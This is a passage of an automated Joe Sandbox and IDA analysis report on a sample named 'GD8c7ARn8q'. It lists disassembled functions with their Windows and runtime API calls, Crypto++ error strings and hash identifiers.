                                          • Instruction ID: 7b74be2acd7f1a5e4a2d30767ca7adefeb661c526a3edd21a48c8c1fa7297d31
                                          • Opcode Fuzzy Hash: 712768dbc3d2038348e69e43f5c239f1fe9870f76fdaed5f8483047fec217f93
                                          • Instruction Fuzzy Hash: 7A01F4BA208A306B97027B78BC45F6F236DABC27B17314525F515E21A9EF74CD055120
                                          Function 008F8445 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008F3279: TlsGetValue.KERNEL32(?,?,008F26BB,008F37A4,00000000,?,008F2699,?,?,?,00000000,?,00000000), ref: 008F327F
                                          • Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 008F846F
                                            • Part of subcall function 00902BAE: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00902BD5
                                            • Part of subcall function 00902BAE: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00902BEE
                                            • Part of subcall function 00902BAE: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00902C64
                                            • Part of subcall function 00902BAE: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00902C6C
                                          • Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 008F847D
                                          • Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 008F8487
                                          • Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 008F8491
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F84AF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
                                          • String ID:
                                          • API String ID: 4266703842-0
                                          • Opcode ID: e40f1cc9fa03b17527933c9f410053d1e85373fea8c17f02ece81474513b2dde
                                          • Instruction ID: 1190fce4630b3aca4b58c15974c8c03dc8d80f847d2d9ba6af4396f6524265fa
                                          • Opcode Fuzzy Hash: e40f1cc9fa03b17527933c9f410053d1e85373fea8c17f02ece81474513b2dde
                                          • Instruction Fuzzy Hash: 8CF0C231A0011DABCB25B779981297EB765FFD1710B00012AF611D2692DF748A0587C6
                                          Function 00920A0E Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                          Download Yara Rule
                                          APIs
                                          • _free.LIBCMT ref: 00920A2C
                                            • Part of subcall function 009254D5: HeapFree.KERNEL32(00000000,00000000,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?), ref: 009254EB
                                            • Part of subcall function 009254D5: GetLastError.KERNEL32(?,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?,?), ref: 009254FD
                                          • _free.LIBCMT ref: 00920A3E
                                          • _free.LIBCMT ref: 00920A51
                                          • _free.LIBCMT ref: 00920A62
                                          • _free.LIBCMT ref: 00920A73
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free$ErrorFreeHeapLast
                                          • String ID:
                                          • API String ID: 776569668-0
                                          • Opcode ID: b030e74fc8e3f2b980070c632a5e42f050f613e02f2631251032b0b6d630e11f
                                          • Instruction ID: 127a2f4f6e7dc8538b8bde3c3e9347fc80b530fed1d697d62e3660cf70a76967
                                          • Opcode Fuzzy Hash: b030e74fc8e3f2b980070c632a5e42f050f613e02f2631251032b0b6d630e11f
                                          • Instruction Fuzzy Hash: F9F05E75829A309BCB017F14FC255A87BA4B74473131A4116F419A73B9DB314D81FB84
                                          Function 008C1270 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C132E
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C1399
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_type_info_name
                                          • String ID: ThisPointer:$ValueNames
                                          • API String ID: 1734802720-2375088429
                                          • Opcode ID: e4df384e28c456fb89bc8d89473824e31b6834dbf9781db5c84ec16fb05fdea2
                                          • Instruction ID: be5643942f55b2c2a955efce03d6193461a3c36a9ffb5f05504bdbe7c8508127
                                          • Opcode Fuzzy Hash: e4df384e28c456fb89bc8d89473824e31b6834dbf9781db5c84ec16fb05fdea2
                                          • Instruction Fuzzy Hash: E251BE317043819BCB209F248896F67BBE6FF96708B08895CF585C7753DB32E9088761
                                          Function 008B5090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 149COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __aullrem$Exception@8Throw
                                          • String ID: mqzp
                                          • API String ID: 4166652736-955126501
                                          • Opcode ID: aa9eb21ad51d1268e85f74ff73d6a4c1b3a0f1bd105f60c657580b553b6322de
                                          • Instruction ID: d9f58ce3cb19a7fd0af4641a4cb5af06b0bfe2e5fa593fc81ccbb7e893e7c0e7
                                          • Opcode Fuzzy Hash: aa9eb21ad51d1268e85f74ff73d6a4c1b3a0f1bd105f60c657580b553b6322de
                                          • Instruction Fuzzy Hash: 7841C032B05A199FDB28DA2C8C557BEF3A9FB85310F45853EE909D7350DA31ED058681
                                          Function 008B63E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008B658A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: mqzp$mqzp$mqzp
                                          • API String ID: 2005118841-1477478940
                                          • Opcode ID: 99b2012dd8d92259457839b7f775a7c3d82081820fc94a97ae9fee7a9b06601b
                                          • Instruction ID: ee9603e0754af401c8b44b85e90331d621727aa95054cbfa7f6ed4b51b0ac03c
                                          • Opcode Fuzzy Hash: 99b2012dd8d92259457839b7f775a7c3d82081820fc94a97ae9fee7a9b06601b
                                          • Instruction Fuzzy Hash: 8C5190B2A006089FDB24DFACD841BAEB7B9FF44710F144629E815E7391EB34E9158B91
                                          Function 008ACBC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008ACD2D
                                          Strings
                                          • StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher, xrefs: 008ACD07
                                          • mqzp, xrefs: 008ACBD4
                                          • BlockPaddingScheme, xrefs: 008ACCBD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: BlockPaddingScheme$StreamTransformationFilter: please use AuthenticatedEncryptionFilter and AuthenticatedDecryptionFilter for AuthenticatedSymmetricCipher$mqzp
                                          • API String ID: 2005118841-3916872117
                                          • Opcode ID: 673b69356cbcd9de58b7ad7ef88f2cd9ccb76bffbe8daf1ebf036636dab2a4b7
                                          • Instruction ID: 5c4f8af8201dc0334a464ee0530de66714e59aa1c331caed957ee0d48679f25c
                                          • Opcode Fuzzy Hash: 673b69356cbcd9de58b7ad7ef88f2cd9ccb76bffbe8daf1ebf036636dab2a4b7
                                          • Instruction Fuzzy Hash: A051BDB0A00B48EFDB14DFA8C844B9EBBF4FF06314F10415AE505AB792D7B4A904CB91
                                          Function 008AC6B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 120COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 008AC7C2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy
                                          • String ID: HashVerificationFilter: message hash or MAC not valid$mqzp$mqzp
                                          • API String ID: 2659868963-1228694566
                                          • Opcode ID: 822bc882ff2e1fb2bd589bc7803fffcfbb0c8262dbf3e0864a7d6383aa751c32
                                          • Instruction ID: 70419d05b25f3288c4cba7dad6194cf96ea7e4ec0507edd3d49e3d77084a7d7e
                                          • Opcode Fuzzy Hash: 822bc882ff2e1fb2bd589bc7803fffcfbb0c8262dbf3e0864a7d6383aa751c32
                                          • Instruction Fuzzy Hash: DB419EB1914609EFCB14DF68C941B9EFBF8FB49720F50862EE415A7780EB74A9448B90
                                          Function 008C0C00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008C0D12
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: : Missing required parameter '$mqzp$mqzp
                                          • API String ID: 2005118841-2247354957
                                          • Opcode ID: ee8aa255f8f179e2939e315f5c2fb8c9fa7488a722371a0ac4ddc0063e00f074
                                          • Instruction ID: 0111f9783f7bb67195b92e3ff653ac2034fa5de7a0e82b9dfa2fb2e8eb27d3f7
                                          • Opcode Fuzzy Hash: ee8aa255f8f179e2939e315f5c2fb8c9fa7488a722371a0ac4ddc0063e00f074
                                          • Instruction Fuzzy Hash: B8318071904259ABCB14EB68C895FDFB7B8FF84314F044599E405A3281DB74AA44CB91
                                          Function 008C0D20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008C0E32
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: : Missing required parameter '$mqzp$mqzp
                                          • API String ID: 2005118841-2247354957
                                          • Opcode ID: 61ecf5f0acaca52e22d2d2bbdf73a2217b0abe27465f55f17f7b740fdf8a57d5
                                          • Instruction ID: efe29a3673eabb97c9f925b0a03425c4fb9d8a7c7ca32353bf7b0c36c16640ec
                                          • Opcode Fuzzy Hash: 61ecf5f0acaca52e22d2d2bbdf73a2217b0abe27465f55f17f7b740fdf8a57d5
                                          • Instruction Fuzzy Hash: 7B31A0B1904248ABCB14EBA8CC91FDFB7B8FF44314F044599F405A3281DB74AA04CBA1
                                          Function 008AF1E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 98COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008AF2DB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: InputBuffer$StringStore: missing InputBuffer argument$mqzp
                                          • API String ID: 2005118841-731728647
                                          • Opcode ID: ee3d4e291c7a301d16b2afd4007eb4e8e20c5a69e4620f3f8b52932fe36f2c2a
                                          • Instruction ID: 2bbd3a7fb57f19e859a9c56c2de4e314e233a9fa7f4def26e39baa7f251e230b
                                          • Opcode Fuzzy Hash: ee3d4e291c7a301d16b2afd4007eb4e8e20c5a69e4620f3f8b52932fe36f2c2a
                                          • Instruction Fuzzy Hash: 2F316A71A04748DFCB14DFA8C855B9EBBF4FF89314F108269E419AB381DB74A908CB91
                                          Function 00865130 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 00865198
                                          • CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 008651AC
                                          • CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 008651C0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CreateSemaphore
                                          • String ID: mqzp
                                          • API String ID: 1078844751-955126501
                                          • Opcode ID: 165a7379ddec68a573ee8e42dee00a55376c8b84f6e2b96ef81272ee634c722f
                                          • Instruction ID: 19b03a80b6708d496e934679abc234f35de09503a92c0f6856aa2412f898b340
                                          • Opcode Fuzzy Hash: 165a7379ddec68a573ee8e42dee00a55376c8b84f6e2b96ef81272ee634c722f
                                          • Instruction Fuzzy Hash: 3D318E70A04705AED720EF68DC12B5ABBE8FB01720F15472EE065EB6D1DBB5A9048B52
                                          Function 008660C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 0086610E
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00866162
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow___std_exception_copy
                                          • String ID: Clone() is not implemented yet.$mqzp
                                          • API String ID: 640887848-265165824
                                          • Opcode ID: 390f2b43a75572ee3fce159fd6ccdfaa1da7e6e1d6af78027d4d7c244b5a874d
                                          • Instruction ID: 42d94274941a7f2f61e09c1d092e622bf36b842480fffa5c14496c74a373a000
                                          • Opcode Fuzzy Hash: 390f2b43a75572ee3fce159fd6ccdfaa1da7e6e1d6af78027d4d7c244b5a874d
                                          • Instruction Fuzzy Hash: 6F214FB2914B09EFC710DF65C941F9AF7FCFB59710F50862AE425E3690EB74AA048B90
                                          Function 00862980 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008629AB
                                          • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 008629FA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
                                          • String ID: bad locale name$mqzp
                                          • API String ID: 3988782225-1801997837
                                          • Opcode ID: aceb481526a172ef719cfee5ac6c7437f1e7bcb808d003eae5b016ffcb2943c5
                                          • Instruction ID: 13a961292c3ac4c69de24d18a03d1def7ad64b4d7ab1a9cd5017f2cb8e6d2230
                                          • Opcode Fuzzy Hash: aceb481526a172ef719cfee5ac6c7437f1e7bcb808d003eae5b016ffcb2943c5
                                          • Instruction Fuzzy Hash: C5115E71908B44DFD320CF69C905747BBE4FB19710F008A6EE899D7B81E7B5A504CBA6
                                          Function 008650A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateEventA.KERNEL32(?,?,?,?,707A716D,mqzpmqzp,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000), ref: 008650D4
                                          • CloseHandle.KERNEL32(00000000,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008650EF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseCreateEventHandle
                                          • String ID: mqzp$mqzpmqzp
                                          • API String ID: 3369476804-2276261917
                                          • Opcode ID: 30d90ef61f819fc9e1be8612bdc9a56b4b4f944bb7bbfe57e673a7780d7d31c6
                                          • Instruction ID: 88632d6ca6e9e249b571c97c8d57c6b5d80f60d9dadd52b960a683aec96551d6
                                          • Opcode Fuzzy Hash: 30d90ef61f819fc9e1be8612bdc9a56b4b4f944bb7bbfe57e673a7780d7d31c6
                                          • Instruction Fuzzy Hash: C101C476A18614AFDB14DB6CEC01B6AB7ECFB49714F14866EFC19D3740EB35A8008680
                                          Function 00890900 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 0089097F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: OutputStringPointer$StringSink: OutputStringPointer not specified$mqzp
                                          • API String ID: 2005118841-3279757504
                                          • Opcode ID: 842470928b3b2cf41e417468065e758bcb005bc28c7f36df7190c4d475fb4f37
                                          • Instruction ID: 87c3a14263b84108dfab7d997cf95b93210505e200674077b0ae9e55df81206a
                                          • Opcode Fuzzy Hash: 842470928b3b2cf41e417468065e758bcb005bc28c7f36df7190c4d475fb4f37
                                          • Instruction Fuzzy Hash: 5D018472944608EFCB00EF94CD42FDEB7BCFB44714F508266E825A7290DB31A9058B50
                                          Function 008F09D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                          Download Yara Rule
                                          APIs
                                          • OpenEventA.KERNEL32(00100002,00000000,00000000,707A716D,?,?,?,0093A380,000000FF), ref: 008F0A20
